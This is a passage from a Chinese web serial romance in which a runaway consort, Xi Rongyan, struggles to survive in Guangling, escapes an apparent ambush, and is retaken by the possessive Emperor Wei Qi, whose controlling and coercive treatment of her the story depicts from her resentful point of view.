里头并没有浴桶,只有两桶热水。
好在如今虽是夏末,但也仍旧有一丝燥热,加上席容烟脑中恍恍惚惚的,也不觉得多冷,将就着也能冲洗。
宝珠带了一身干净的衣裳进来,又低声道:“可惜了主子里头的那身蚕丝衣,穿在里头别人也看不到。”
“这粗糙的料子,主子的皮肤能受得了么。”
那身里衣席容烟其实也觉得可惜,可不怕一万就怕万一,万一让人知道她里头穿着和外面不同料子的衣裳,平白惹人怀疑。
出去后席容烟还觉得有些脚步虚浮,但身上已经比昨日好了许多,至少不再头疼了。
春云端着药进来,席容烟接过了药又问春云:“我知道你拮据,别为我买药了。”
春云心头触动,如今看席容烟一身素衣的坐在她这简陋的屋子里,她只觉得难受。
她哑声道:“四姑娘别担心我,我早上去绣坊结了银子,手上有些余钱的。”
席容烟默默握上春云的手。
第168章 是真的希望他逼迫她么
手里的药碗正是温热的温度,苦涩的药味扑向她脸庞,她竟觉得也能忍受了。
或许是她鼻中闻不到什么味道了,她吸了吸鼻子,依旧发凉的手指捧紧手上的碗,低头喝药。
只是每喝下一口,眼里就热一下。
她总在想,昨天要是自己没数银子,是不是就没那样的事了。
她又回想昨天卖画时就有人偷偷摸摸的在看她,是不是早被盯上了。
越想心里那股恼怒的气便越是抒发不出。
吃了这么多亏,上了这么多当,偏偏全叫她遇见。
宝珠看席容烟脸色不对,忙问:“主子太苦了?”
又忙对春云问:“你这儿有甜的么?芽糖也行。”
春云为难:“要不我现在出去买来吧。”
席容烟忙拉住她,抬头道:“不要紧的,我不苦。”
那句不苦是说给她自己的。
席容烟三两口将药喝完。
她只是草草用一根簪子挽了素发,几缕发丝贴在了脸颊上,席容烟拂下发丝,又看向春云:“我要先走了。”
“我过两日再来看你。”
说着,席容烟又看了看身上的衣裳,还是春云的,她的那身还没干,又道:“顺手也来还你衣裳。”
春云忙道:“四姑娘去哪儿去?”
“姑娘的病还没有好,先养一会儿吧。”
席容烟笑了下:“我还有些事情要做。”
宝珠站前来对春云道:“没事的,你别担心我。”
春云愣了愣,又连忙将药包拿来递给宝珠:“这是昨夜郎中开的,你记得熬给四姑娘喝。”
席容烟出去的时候,脚步还有些虚浮,踩在地上有些不真实感。
脸上包着的白色纱巾早已被昨夜的雨水染上斑驳的泥水污痕,她在亮起的晨光下身子晃了晃,又抬头看向巷中零星冒头的枣树。
她看向宝珠:“宝珠,我们在客栈还有银子么?”
宝珠默了默摇头:“没了。”
又道:“我还能去接刺绣的活干,能生计的。”
席容烟摇头,她想要很多银子,也要赚很多银子。
她心里隐隐有想法,但又不得不面对现在的困境,她现在一无所有了。
将轻纱又往上提了提,席容烟没回话,只低声道:“走吧。”
回了客栈,屋子里更是狼藉。
昨夜一夜的风雨,窗户未关,雨水飘了进去,打湿了桌面上铺着的纸张,墨汁翻到在地,毛笔也不知滚落到了何处。
本就简陋的房间,这会儿看起来更加凄凉。
宝珠赶紧去收拾,只是那纸张染了水,即便干了也皱皱巴巴的,不由可惜。
纸是最贵的了。
席容烟去枕头下头将一个布包拿出来,那里面是她的首饰。
她的首饰即便是寻常样式,用料也是最好的,一支白玉簪,一只镯子,还有一对翡翠耳坠,和一串珍珠项链。
还有两颗镶在她绣鞋上的东珠,席容烟也给扯了下来。
若是在京城,这样的成色样式,便是上百两也能卖出去,但现在席容烟只盼着能有三十两银子,她也不用这么艰难。
宝珠看席容烟拿着首饰想要当,忙走过来道:“主子的这些东西都是顶顶好的东西,去了那黑心当铺里当了不是可惜。”
席容烟拿起那只母亲戴给她的镯子,默默看几眼,又放进怀里,其他的用布包包好。
她脸色苍白的看着宝珠,风寒后的声音沙哑,带着一股软绵绵的无力:“我们没其他法子了。”
“再过一天,这间客栈我们也没银子付了。”
宝珠愣了下,红了眼眶。
她去做刺绣,即便做一天一夜,也不过五十文,也承担不了。
席容烟起身站去窗前,她看着下面人来人往,看向对面的茶楼,又看向旁边的酒楼。
她低头看着手上的布包,知道如果自己再去当铺的话,定然会被当铺的掌柜如上一次那样坑害,她心里稍微想了想,又换了一身男装,束了发,又给脸上用炭灰抹了抹,这才戴着惟帽带着宝珠下楼,直接找去了镖局。
席容烟自小就知道镖局是最靠得住的地方,但凡承诺下来,就会做到,要是连镖局也骗她,那她真没了退路。
席容烟去了镖局,一去便让宝珠去哭,又让宝珠将她那对耳坠拿出来,说是家里祖母传下来的,家道中落,没法子才打算去当这对耳坠,怕被当铺的压价才找过来。
席容烟与镖局的约定,当了的银子三七分,人就抵在这儿,绝不食言。
那镖局的看也就跑一趟的功夫,又看两人瘦小瞧着也可怜,也知晓些当铺的黑幕,再看那对耳坠,做工精巧,像是个价值不菲的,就一口答应下来。
席容烟还特意要求挑两个人高马大的去,也不怕当铺的掌柜黑心。
两人坐在镖局内等的时候,还有些忐忑,宝珠也紧张,毕竟周遭都是高大的男子,那股压迫感忽视不了。
席容烟心里祈祷着,好歹当个十两银子,她就能高兴了。
结果过了一阵,那镖局的人回来,还将票据也一起拿了回来,一共当了六十两,也言而有信的只拿了十八两。
宝珠高兴的就差当场喊了出来,席容烟去接银子的手都有点颤。
过了这么久的苦日子,好似前头又有希望了。
刚才她为了保险起见,没将所有首饰都拿出来,这会儿还有点后悔。
不过又想,银子多了被人惦记上也是隐患,留点在身上也好,况且刚才那番示弱装哭博同情,这会儿说还有首饰,别人怎么想?
席容烟拿了银子,对镖局的人千恩万谢的作揖,感激之情丝毫不作假。
那去为她当首饰的男子笑着拍了拍席容烟的肩膀:“小兄弟还算有见识,知道来找我们,要是你去,就不是这个价了。”
又道:“那当铺掌柜的说那对耳坠不是寻常的物件,成色颜色都是极尊贵的人才能用的,敢问小兄弟哪家的?”
席容烟忙随口扯谎道:“祖母从前是从京中来这儿避难的,祖母也没说过出身,现在我们不过寻常瓦木工罢了,不值一提。”
那人笑了笑,也没有多问,放了席容烟走。
席容烟手上紧紧捏着银子,这回是真的怕又被抢了,直接分成两份放进自己靴子里,这才离开。
一直快步回了客栈,完好无误的拿出了银子,宝珠高兴的直跳。
她又忙问:“现在我们有银子了,主子接下来有什么打算?”
席容烟稍微想了想,又低头在宝珠耳边说了几句话。
入夜,魏祁站在秋霞行宫的阁楼上,远远看着四十里外的广陵城的方向。
屋内的烛光昏暗,站在窗前的背影如冷松,高大挺立,又沉默。
身后的人小心翼翼的汇报:“小的也没有想到宸妃娘娘会去找镖局的当银子,我们只瞧见宸妃娘娘坐在镖局内,也没想那么多。”
“这两日宸妃娘娘先去了春云那儿看望了一回,回来后就好似在购置干粮和衣裳,还在镖局雇了一个人,打算离开广陵。”
说着他跪下去:“属下没有尽责,请陛下责罚。”
魏祁没说话,只是默默看着远处的沉寂。
入秋的凉风袭来,他长长叹息一声。
她比他想像中的坚韧,甚至让他产生出一种错觉,即便她身边没有自己,她也会过得很好。
她一步步打破他的期望,是真的希望他逼迫她么。
皇宫内安然的日子她不愿要,连席家都没有回去一趟,自己这些月对她的好,在她心里究竟算得上什么呢。
魏祁闭上眼里,手指放在窗沿上,脑中无数要将她囚禁起来的画面袭来,让他的手指都隐隐发抖。
第169章 离开
这头席容烟有了银子,算是学的些经验了,那便是不要将所有银子都放在一处。
她将银子分成六份,只拿出一份用来随时用,其余的五份都用来缝在衣襟里,靴子里,腰带上。
宝珠身上缝三份,她身上两份,这样就算有人抢,也还有托底的。
宝珠一边将银子往席容烟腰带上缝,一边笑道:“还是主子有法子。”
席容烟无奈:“被逼的。”
等所有银子都缝好后,宝珠问:“那我们去哪儿?”
席容烟想了想:“去金陵。”
“那里风景好,我想在那儿开间首饰铺子,等赚够了银子,再去乡下买间宅子,雇些人来。”
宝珠笑:“我觉得主子肯定能办到。”
席容烟也不确定,又道:“你别对我希望太大,我也只是试一试,谁知道成不成呢。”
其实席容烟要急着离开这里,还是因为春云那日的那些话。
魏祁要是离这里不远的话,她留在这里就不会安心。
不管她心底那些猜测是不是真的,离开总要保险些。
两人第二日一大早就出发,带上包裹,下去的时候镖局随行的人已经等着了。
席容烟看着那高大的身形,十分安心,想着这一趟总不能出差错了。
去找了辆马车,谈好了价钱后便上马车上路。
其实要不是担心路上安危的话,席容烟真不愿带镖局的人。
人多了宽敞的马车也挤了,那人看着虽然一身正气,但席容烟也不能没规矩的往马车里躺,他还是男子装扮,躺着看着也奇怪,只能正襟危坐的坐着。
才坐一会儿,摇摇晃晃的让她浑身骨头都要散架。
又马车忽然一阵晃动,车身一歪,竟然半道上车轮坏了。
这才出发半个时辰,几人下车去看,车轮裂开断裂,只能换了。
但这处是郊外,还要跑回城去换,几人没法子,只能坐在马车里等他车夫跑回去。
车夫说最多一个时辰就回来,可这一等从清晨等到了下午,席容烟吃了一小块干粮便受不住,好在那镖局的人看席容烟和宝珠实在瘦小身体不好,又去找了水来给她们喝。
临到快天黑时那车夫才姗姗来迟带着车轮来了,问了他原因,他又说家里用来换的轮子也坏了,就去现做的。
席容烟现在已经懒得计较这些解释了,她只想安安心心趁着还能看见些路就赶紧上路。
结果才又走不到半个时辰,那车轮又裂开了。
这会儿已经天黑,荒郊野外的半道上,席容烟只庆幸自己请了镖局的人,还能有个保障,不然她估摸着得生生气死在这里。
并且这一路的不顺,又让席容烟心生出怀疑来。
那车夫满脸愧疚的过来说:“这天太热,地上的石子一多,压着了就容易裂。”
“本来寻常定然是不会这样,寻常便是……”
席容烟再好的脾气也听不了这些话了,她直截了当的问:“那现在怎么办?”
那车夫便道:"我表侄家就在不远处,几位要是不介意可以去我那儿住一晚,我今夜就可以修好,明天一大早,保管能上路。"
其实席容烟心里头已经警惕了,哪里就有这么巧的事。
她问:"这会儿你来修要多久?我们就在这儿等你。"
那车夫为难:“这里没有光线也没有工具,我还要去表侄家借,估摸着也要好几个时辰,要是车轮断裂的厉害,恐怕还要久一些。”
席容烟自从上回当耳坠的事情就对镖局的人有了信任,便朝身边问:“林大哥,你说怎么办?”
林允思索一下,看向席容烟:“车轮是要废些功夫,休息一夜明日上路也行。”
又朝席容烟补了一句:“今日我不算你银子。”
其实雇镖局的价钱真不低,一人一天就是一两,十天就是十两,还要包回去的路费。
席容烟听了这话心头也没有轻松太多,而是拉着林允的袖子去一边说出自己的疑虑:“你不觉得太巧了?像是故意让我们住去他表侄家似的。”
林允笑了下:“你倒是警惕。”
说着他拍了拍身边的佩刀:“我押镖十年,什么人都见过,这车夫我观他面相非大恶之人,且这车夫在广陵做这生意十来年,我自认得。”
“从没听过有人出事。”
席容烟想说要是真出事了,这荒郊野外的也没人知道啊。
但肩膀上又被林允重重一拍:“今日的事情是有些巧的,不过你放心,我定然安全护送你去金陵。”
席容烟受那一拍肩膀就是一疼,犹犹豫豫的到底还是答应了,不然在这儿干站着也没用。
夜黑月稀,席容烟跟着那车夫七弯八拐的越走越是觉得不对,这都去了什么深山老林,又偷偷拉林允的袖子,就说转身回去,看在路上还能拦到马车不。
林允见席容烟怕,边叫她走在自己身后,对她低声道:“前头有亮光的就该是地方了,你不放心就站在这儿先等着,我就说你们去路口拦马车去了,我一个人去歇,看看有没有事,没问题了再来接你。”
“最多一刻。”
席容烟忙点头,拉着宝珠先别走,悄悄猫在树后等着。
两人都是女子,黑灯瞎火,又是不知名的地方,阴风阵阵的,席容烟后背都吓得生了一股冷汗。
宝珠在她身边小声道:“主子,不会有鬼吧。”
席容烟也怕鬼,她拍拍她的手安慰她没事,自己也吓得不敢出声。
只是隔了一会儿,前头都没有动静,宝珠忍不住在席容烟耳边小声道:“林大哥该不会真出事了吧。”
席容烟也确定不了,她往前看着那亮光,想着再等一等。
等了半晌,前头也依旧没有来的动静。
这里到光亮处还不到一刻的距离,不该等了这么久还不来的,除非是真出了事。
宝珠惊恐的眸子看向席容烟,她们等了这么久,早就过了小半个时辰了。
又看到远处那车夫和一名陌生男子出来,看了看又往这边过来,月色下银光一闪,席容烟的心飞快的跳起来,在风声吹起的沙沙树声中,牵着宝珠就往林子深处跑。
只是她们手上无灯,也不熟悉路,在林子里又听着那些不知道什么东西走动的声音吓得连声音都不敢喊出来。
身后远处传来急促追赶的脚步声,两人汗毛都竖了起来。
席容烟只恨自己太相信那镖局的人了,这可真是遇到了黑车。
又见到前头有火光,席容烟忙往那火光跑去,绕来绕去跑了大半个时辰,在马上就要到的时候,只听见头顶什么东西刷的一声过去,接着便是一道厉喝声:“何人!”
第170章 再见魏祁
鱼灌的马蹄声传过来,等席容烟发现过来的时候,她和宝珠已经被围在了中间。
席容烟看着那些侍卫,越看越是心跳如鼓,这些侍卫一个个盔甲佩长剑,在火把的照耀下显得冰凉威严。
头顶上传来一声厉呵:“何人擅闯!”
宝珠被这一厉喝声吓得肩膀一颤。
周遭全都是骑在马上的侍卫,他们手上拿着火把,将她围在中间,刺眼的光线让她脑中空白,干涸的唇瓣动了动,还没来得及说话,手就被绑起来系在身后,往前推去。
身后的人推的力道并不小,席容烟还在怀着最后一丝希望的解释:“我们是附近农舍夜里采药来的,还请通融通融,我们马上就——”
她的话止在又一个被推的踉跄里,周遭在一瞬间安静,唯有齐刷刷的跪地声。
席容烟怔然看着面前的黑色马蹄,缓缓抬头时,抬头便与那人的目光对上,心下就颤了颤。
宝珠看见那人,更是下意识的吓得一下子跪在了地上。
那人不是别人,那人是皇上!
魏祁身穿玄衣,手上拿着鞭子,马背上还驮着一只死鹿,坐在马上居高临下的看着席容烟,眼里的冷清,在火光中炙热又冰凉。
面无表情的魏祁才是最可怕的。
席容烟只与魏祁对视一瞬就连忙低下了头,虽然她觉得自己现在狼狈不堪,一身男装,脸上还涂了灰,但她没有报多少魏祁没有认出她的希望。
甚至她已经做好了承受他的怒火。
她闭着眼睛开始回想前世自己逃脱后他是怎么对自己的,那些血腥的,不堪入目的过往,让她后背一阵寒凉。
她被按着跪在地上,只看得见从马上下来的魏祁,黑靴就停在她的面前。
那股被束缚的压迫又席卷来,她心跳如鼓。
面前的人停了许久,久道席容烟都快抵不住头顶的目光。
火光中颤动的阴影沉下来,席容烟怔了一瞬。
直到她感觉到自己撑在地上的手,被一只温热的大手握住,拉着她就往前头。
四周围上来的侍卫早已散去在两边,席容烟脑中空白的被魏祁有力的手掌牵着,每靠近面前那帐篷一步,她心头升起的恐慌就越浓烈。
想要立刻挣开魏祁的束缚。
只是她的手指越挣扎,魏祁握住她的手指就越紧,紧的她仿佛觉得自己的腕骨都要裂开。
凌乱的脚步榻进帐篷的那一刻起,席容烟原以为魏祁会对她发怒,却没想到她的身子被魏祁紧紧抱住。
那宽大的手掌紧紧按在她的腰间,胸膛紧贴在魏祁的胸膛上,头顶低低的叹息传来:“知道来找朕了?”
“那天那样吓朕,就不怕朕伤心?”
席容烟脑中一片空白,她愕然的抬头,又看到魏祁也垂眸对上她的眼睛,那双刚才在外面还冷清的眸子,此刻依旧带着从前那样的柔和,在帐篷内晃动的火光中明明灭灭。
她甚至没有力气去想,魏祁为什么会在这里,他不是在四十里外的秋霞行宫么。
修长的手指抚上她凌乱脏污的脸庞,缓声道:“烟儿,回来了就好。”
“你没事就好。”
席容烟张张唇,脸颊发白。
从前魏祁这样的眼神看她时,她明明能感受到他的情意,如今却只感到害怕。
因为她变了。
她不再像从前活在他编织的温柔牢笼里,她见过他最冷酷最无情的样子。
她更知道他这双温柔的眼睛背后,到底是什么样子。
她甚至怀疑,她在广陵遇到的种种事情,都是在他的一手操控下。
她其实从来都没有摆脱过他。
或许这才是让她更恐惧的。
她摇摇头,认真的看着魏祁,坦诚的坦白:“我没有来找你。”
“我一直都想离开你。”
“我为什么会在这里,你不知道吗。”
魏祁一顿,黑眸紧紧看着席容烟的眼眸。
那双眼里映着跳跃的火光,这双眸子与从前不一样了。
变得冷清又坚定,与前世也不一样。
她乱糟糟的发下,一双眼睛坦然又亮的惊人,从前有些心软和柔软的眼神变了。
魏祁这时候不想与她吵架,他给了她台阶,今夜过后,两人和好如初。
他只当没有听见席容烟现在的话。
他拍了拍席容烟的后背,又将她按紧在怀里:“烟儿,你累了。”
席容烟看魏祁无视她的话,张了张口,竟也不想与他多说什么。
到了这个地步,两人之间的过往都心知肚明,没有什么不能翻开来说的。
只是魏祁并不在意。
他是帝王,掌握生杀予夺,人命如草芥,也不择手段。
他从来没有觉得自己做错过。
她手掌抵在他胸膛上,抗拒的已经足够明显。
只是放在她后背上的手指按得很紧,她丝毫都推不动面前的人。
魏祁心里的恼怒丝毫不比席容烟的少,他不过是不想强迫她,他不过是为她找好了借口,她只需要顺从的靠在他的怀里,她之前对他做的一切都不重要了。
他全都不计较,他们两人一如从前,再不提起。
可她现在这个境地,竟然还在抗拒。
他是想朝她发火生怒,他帝王的尊严被她踩的七零八碎,他没计较她,她却丝毫察觉不了他的用心。
她也全不在意他,她能狠心的让自己再一次看见她在自己面前自尽,根本不管他有多痛。
只是现在看她衣衫褴褛,头发凌乱,身上都是被树枝划出来的细小伤痕,脸上的碳灰也被抹的乱七八糟,黑亮湿漉漉的眼眸周遭还有一丝刚才被吓到的后怕,魏祁深吸一口气,生生忍住了所有想要对她发泄的脾气,不愿与她计较。
不管怎么样,人没有跑远。
他紧紧握着她的手,依旧好脾气的开口:“先沐浴,换身衣裳再说。"
第171章 难道皇上还是要逼我?
帐篷内的浴房没有单独的屋子,也没有屏风隔着,只牵了一道帘子。
浴桶很大,热水上漂浮着花瓣,旁边的架子上放着香膏,树形烛台上的烛火明亮,袅袅的熏香让席容烟浑身放松。
她已经许久没有这样好好泡过澡了。
她闭着眼睛靠在浴桶边缘,刚才在林子里奔跑紧张的情绪放松下来,这会儿便浑身袭来疲倦。
她风寒并没有全好,浑身散架,脑中什么也不想,就想闭着眼睡。
她半梦半醒,忽然听到帘子外又脚步声,刚才的紧张还没有全消褪下去,她又警醒的睁眼,一回头就见到帘子后面站了一道高大的身影。
魏祁低沉的声音传来:“洗好了么。”
席容烟从昏昏欲睡里醒过来,急忙开口:“没……”
又赶紧补了一句:"你别进来。"
帘子上倒映的那道身影顿了顿,当席容烟觉得魏祁要走了的时候,帘子却忽然被他掀开,他直接就走了进来。
席容烟一愣,怒目瞪向魏祁:“你进来做什么。”
是不是听不懂话。
当然后面要说的席容烟到底还是没有说出来。
现在席容烟已经破罐子破摔了,知道大抵是摆脱不了魏祁,那就爱咋地咋地。
魏祁黑眸微沉,席容烟瞪向他的眼神让他微微蹙眉。
那双亮晶晶黑眸里的不高兴都恼怒很明显。
两人之间从前还一起沐浴,现在他进她浴房,她却开始躲避了。
这一世他对她的好,她全都不在意么。
还是她只记得从前顾韫玉对她的好。
也是,她又一次选择离开他,她早就不在意了。
魏祁抿着唇,走到席容烟的面前,撑手在浴桶边缘,垂眸看着漂浮的花瓣内若隐若现的白皙酮体。
他视线又落到席容烟的脸庞上,发丝垂到她肩膀,蔓延到水中散开,雾气带来的水珠从她脸庞滑落,滴在她尖尖下巴上。
那双雾蒙蒙带水的眸子更警惕的看着她,仿佛他如洪水猛兽。
魏祁紧抿着唇,手指落到席容烟下巴上,让她抬起脸,低声的问她:“朕是不是不能进来?”
“你曾与朕在重华宫一同沐浴了多少次,你是不是全都要当作没有过?”
席容烟对上魏祁恼怒的眼神,她亦不甘示弱:“那时候我是心甘情愿的,可现在我不想你进来。”
“难道皇上还是要逼我?”
魏祁被席容烟的话气得深吸一口气。
跑出去一趟,人就变了。
吃了那么多苦,遭了那么多罪,竟然多生了好几块反骨。
他手指紧捏在浴桶边缘,生生强忍着脾气,时隔一月,他不想在这时候发脾气。
他也是担心她在里头泡的太久才来看看,见着她还有力气发脾气,想着忍忍也就算了。
这时候她有脾气寻常,过几天接受现实就好了。
两人之间本就欲壑难填,他更不想再如前世一样逼迫她。
他弯腰将人从水里捞出来,心平气和的与她说话:“难不成要一晚上都泡在水里?”
“水凉了不怕风寒?”
席容烟被魏祁抱出水里的一瞬还有些紧张,又听到他好似没有生气的声音又有些错愕。
前世的魏祁不是这样的。
前世的他容不得她一点忤逆不愿。
她本来想刺激魏祁暴露本性再讥讽他,两人之间的问题有很多,但魏祁从来都没有察觉过。
她在他身边也从来没有得到过真正的自由。
很多时候席容烟都觉得自己是被魏祁放在高架上的瓷器,他每日擦拭观赏,不容别人的目光,将它摆弄成自己喜欢的样子。
可那只是一冷冰冰的器物,没有感情,没有思考。
只见她现在浑身不着片缕的被魏祁抱在怀里,又瞪着魏祁,要是他不是皇帝,她真想骂他是不是有病。
魏祁目光落在席容烟蹙着的细眉上,知道她这会儿不高兴,反正不惹她就是。
他抱着她走出去,又将她抱在怀里坐在床榻上,拿过床边的衣裳盖在她肩上。
月余没有见她,现在她玲珑有致的柔软身子就在自己怀里,不是没有心猿意马的想要与她亲近缠绵,但现在魏祁更明白,现在不是时候。
他的确从前世的经验里学到了许多该如何对她的方式。
他不提从前的事情,又很快为她将衣裳拢上。
柔软泛着柔光的蚕丝布料贴在身上的时候,席容烟还有一瞬间的恍惚。
不得不承认的,这样的料子让她舒适怀念。
但心底又对魏祁烦上几分,要是他不做那些事,她必然能够舒心顺坦的过完一生,还能时时回到母亲身边。
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心头情绪涌上来,她低头看着为她整理衣襟的修长手指,又推开他的手自己弄。
这时候不想说话了。
魏祁挑眉,又看了看席容烟脸色,看起来倒是比从前情绪多了些。
又看她现在衣裳倒是能穿好,看来在外头的苦日子当真让她改变了一些。
席容烟安安静静的里衣穿好。
虽说身体许多裸露的地方暴露在魏祁的眼前,席容烟只安慰自己,魏祁也被自己看光过,没什么亏的。
洗干净的席容烟穿着月白里衣,在烛火下看起来又柔和起来。
只是她身子好似嫌弃似的远远坐在床尾,眼神也不往他这边看一眼。
魏祁全忍下了,刚将人抓回来心里有些不乐意也寻常,他全为她找好借口,又伸手将她的脚踝握住,放在自己的腿上。
席容烟立马警惕的看他:“你要做什么?”
魏祁紧抿着唇看着席容烟,他复杂的眼神看她,对于她的警惕,心里强忍的不悦几乎快忍不下去:“你与朕同床共枕多少次,你觉得朕会做什么?”
席容烟脸一白,又讽刺的看着魏祁:“也是,你是皇上,你做什么都是对的。”
魏祁的手指一紧。
他闭了闭眼,如刺猬一样的席容烟,竟也让他力不从心。
他紧紧捏着她的小腿不让她乱动,无声的将她的裤腿卷起来,露出她白净皮肤上的细小划痕,还有膝盖下一处指甲盖大小的青淤。
那些伤是在林子里逃跑是被石头绊倒留下的,还有被树枝刮破的,那时候情绪紧张,丝毫不觉得疼,就连刚才沐时都不觉得疼。
现在亲眼看到伤口露出来,她才觉察出一丝丝疼来。
魏祁拿了放在床头的药膏,低头为席容烟上药,那药膏很凉,涂在她破了皮的伤口上时,尽管她尽力忍耐,还是没忍住倒吸一口气。
魏祁低声道:“很快就好了。”
他的手指很轻,捏着她的腿肚,席容烟不禁看向魏祁低垂的眉眼,凌厉的眉峰在柔光下柔和几分,她顿了顿,又别开了目光。
当魏祁重新将席容烟的裤腿卷下来的时候,两人四目相对,尴尬的沉寂里,席容烟的肚子不可控制的叫了出来。
她一下将腿从魏祁的腿上收了回来。
魏祁看着席容烟偏过去的脸问:“饿了?”
第172章 我没有闹
席容烟不愿承认,偏偏肚子叫的厉害。
她想虽说破罐子破摔了,但饿了也的确是饿了。
她没说话,依旧偏着头。
魏祁扯了下唇角,叫外头的人送膳进来。
端进来的是一桌烤好的鹿肉和兔丝,还有炖好的笋汤,丝丝肉香蔓延过来,让席容烟的肚子叫的更厉害。
从前她历来不怎么喜欢吃鹿肉,但她在广陵那些日,因为银子短缺,每日都是粗茶淡饭,已经许久没有吃过肉了。
如今烤肉的香肉传来,她肚子叫的更厉害了。
魏祁看人还拗着不懂,起身抱着她去桌边坐下,又往她碗里夹了一块鹿肉:“前两日朕在这里行猎,这里只有这些,你将就吃些。”
“你要吃不惯,我带你回宫里多做些你喜欢吃的。”
“烟儿,回来了就别再闹了。”
魏祁的那句别闹了,让席容烟怔了怔。
她做了这么多,在他眼里只是闹一场么?
她没有闹。
她离开他的这些日子虽然一点都不顺利,但她也觉得这样的日子舒心自由。
她觉得自己是可以不用依靠这魏祁活着的。
她觉得她可以自己掌控自己的命运。
要是魏祁不从中作梗的话。
这一月的种种,包括今夜,席容烟都想明白了,全都是魏祁安排的。
她在与她抗争,现在魏祁的意思明了,她还是输了。
她应该再乖乖的被他锁在皇宫那个囚笼里被他予取予夺,就如前世一样,不听话再将她锁起来。
因为魏祁要的,从来都是他要的,从没过问过她的意思。
她看着面前碗里的鹿肉,拿着银筷,掩住情绪低头咬了一口。
肚子里到底太饿了,席容烟不想多想其他,大口吃了一块,总不能让自己饿着肚子。
魏祁瞟了一眼过去,难得看到席容烟用膳没有细嚼慢咽的时候,忍不住笑了笑。
他又拿了一只蒸螃蟹,低头一边为她剥蟹一边低声问:“好吃么?”
自然是得不到她的回应的,不过生生气也好,气完了就好了。
魏祁扯了下唇角,余光就见着席容烟又去夹了一块,他又低头,想着吃够苦了,就该明白舒心富贵的日子才适合她。
他将剥好的蟹肉放到她面前,席容烟看了看,本来想拒绝的,看着魏祁又往她面前推了推,她顿了一瞬,直到最后也没吃。
用膳完,席容烟净了口,洗手的时候目光看在那侍女正撤下去的螃蟹上,回神的时候又见到魏祁在看她,脸上一僵,又别过头去。
魏祁好脾气的给席容烟擦手,低声道:“不是朕不让你吃了,你吃了三只,螃蟹性寒,你不能吃多了。”
席容烟抬头又问:“宝珠呢?”
魏祁看着她:“有人安排她,你明日就能见到了。”
席容烟放了心,却又没忍住静静看着魏祁:“你别伤害她,是我自己拉着她要走的。”
魏祁看了席容烟一眼:“我没要将她怎样。”
说着他往席容烟面前走了一步,伸手想要抱她。
只是他的手还没碰到她的衣裳,席容烟已经先往后仰了仰,她的眼里难得有些冷清,她道:“我自己能走。”
魏祁静静的挑眉:“你怎么走?”
席容烟往下一看,才看到地上没她的靴子。
魏祁将人往床榻上抱:“你那靴子早破了,这里是在山林里,朕已经叫人去为你买鞋了,明日就送来。”
柔软的床榻上所有寝具都是天蚕丝布料,弥漫着一股淡淡的她从前喜欢的香气,混杂着龙涎香的味道,仿佛回到了她曾经熟悉的含元殿里。
席容烟往魏祁那边看去,见他将她放在床榻上后就欺身下来,忙伸手抵在他胸膛前:“你要睡在这儿?”
魏祁蹙眉看着席容烟脸庞,压着心头的气问:“这是朕的帐篷,朕不睡这儿睡哪儿?”
席容烟不想与魏祁多说,坐在床沿上,光着脚就要下去:“皇上既睡在这儿,我就走。”
魏祁气得手指都抖了一下,伸手紧紧握着席容烟的手
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腕,阴沉的脸色带着愠怒,压低了声音:“烟儿,别再闹。”
席容烟一顿,侧头看向魏祁,眼神平静:“我没有闹。”
“我本来没有打算回来的。”
魏祁咬着牙,眼神里带着前世一样的威胁:“烟儿,朕说过,你与我回去,之前的事情便做没有发生过。”
席容烟看着魏祁那熟悉的眼神,不知道如何,心头竟然没有了恐惧,反而是一股失望。
魏祁的确是对她极好的,但那种好是要她千依百顺。
是要她不能有自己的情绪,无论他做过什么,她都应该感恩戴德的留在他身边。
因为他是天子。
他高高在上,可以决定任何人的生死。
可以掠夺他想要的任何东西。
他也可以用任何筹码来威胁她。
就如现在,他说一切都可以当作没有发生过,像是在施舍,告诉她一定要听话,别惹他生气。
席容烟轻轻问出来:“皇上说之前的事情当没有发生过,那死去的人呢,是不是也当作没有发生过。”
“是不是在你的眼里,他们不重要。”
魏祁的脸色一变,彻底阴沉下来,面容变得阴翳可怕。
这个样子是前世席容烟最熟悉的魏祁,阴冷的,用他帝王的威压,无声的让人臣服害怕。
魏祁手背上迸起青筋,阴沉的黑眸看着席容烟:“烟儿,朕已经在容忍你了。”
席容烟轻轻摇头:“我想要的不是容忍。”
“你知道我骗了你,但我没后悔。”
"我只是没法子再待在你身边了。"
“那回我与你说的,我字字句句都说给了你。”
“我不愿再提起被你害死的人。”
说着席容烟黑眸看着魏祁的眼睛,烛火晃动,她眼里冷冷清清:“我只想往后的日子能安心。”
“你要是恨我报复我,我可以将性命抵给你,我也不是你的对手。”
“但我一定不会留在你身边的。”
“你要能放过我,我也感激……”
第173章 朕与你重新开始
席容烟话还没有说完,唇就被魏祁忽然用手捂住,又将她的身子退到在榻上。
她看见他阴沉的眸子里凤目危险的眯起,眼里翻滚,像是下一刻就要将她生吞入腹。
席容烟说不害怕是假的,前世的魏祁可怕的多。
但她想如前世那样服软。
她要一个安心自由,魏祁让她觉得对不住因她死的人。
魏祁恼恨的看着席容烟的眼睛。
绝情的话她果然是最擅长的。
他一直强忍着没有与她计较她骗他逃跑的事情,丝毫没有与她生气,为她穿衣,为剥蟹,原以为能换回这女人一丁点心软,能换回她一点点回心转意。
可她丝毫不在乎。
他身为帝王,都为她忍让到这般地步,她还想他怎么做。
他前世就算千万种不对,也从来没有对不住过她。
连日来对她的思恋伤痛,不及她这一刻给他的痛。
他抬起脸看着她,声音几不可以控制:“朕要报复你?”
“朕要你的性命?”
“朕为你做的,你但凡有心,你也说不出这些话。”
“朕对你的好,你就一丝一毫不记了是不是?”
“一心想着与朕毫无干系了是不是?”
席容烟看着魏祁带着血丝的眼睛,前世被他压着颈脖锁着的场景历历在目,她紧紧捏着袖口,心底知道不该在这个时候惹怒他,可过往那些事是不可以被抹去的。
她用力推在魏祁的手腕上,无惧的瞪着他的眼睛开口:“我离开你是因为你杀了无辜的人,我离开你是因为你只知道掠夺,你前世回了我本该平静的日子,这一世你依旧这……”
她话还没有说完,两根手指堵住她口腔里,带起的津液不受控制的往外流,她瞪大眼睛,难受的推他的手。
低沉愠怒的声音响在耳边,几乎是咬牙切齿的,带着一丝骇人的警告:“别再在朕面前提起那个**。”
“烟儿,你知道朕最厌恶听到什么。”
席容烟偏过头去,心头狂跳,那手指让她干呕,她用力推着他的手臂,心底恐惧。
魏祁将手指收回来,又将席容烟紧紧按在他怀里,低沉的声音压着怒气:“你听话的待在朕身边,朕依旧好好对你。”
“只是别再提起他。”
“前世你好好待在朕身边,朕也不会那样对你。”
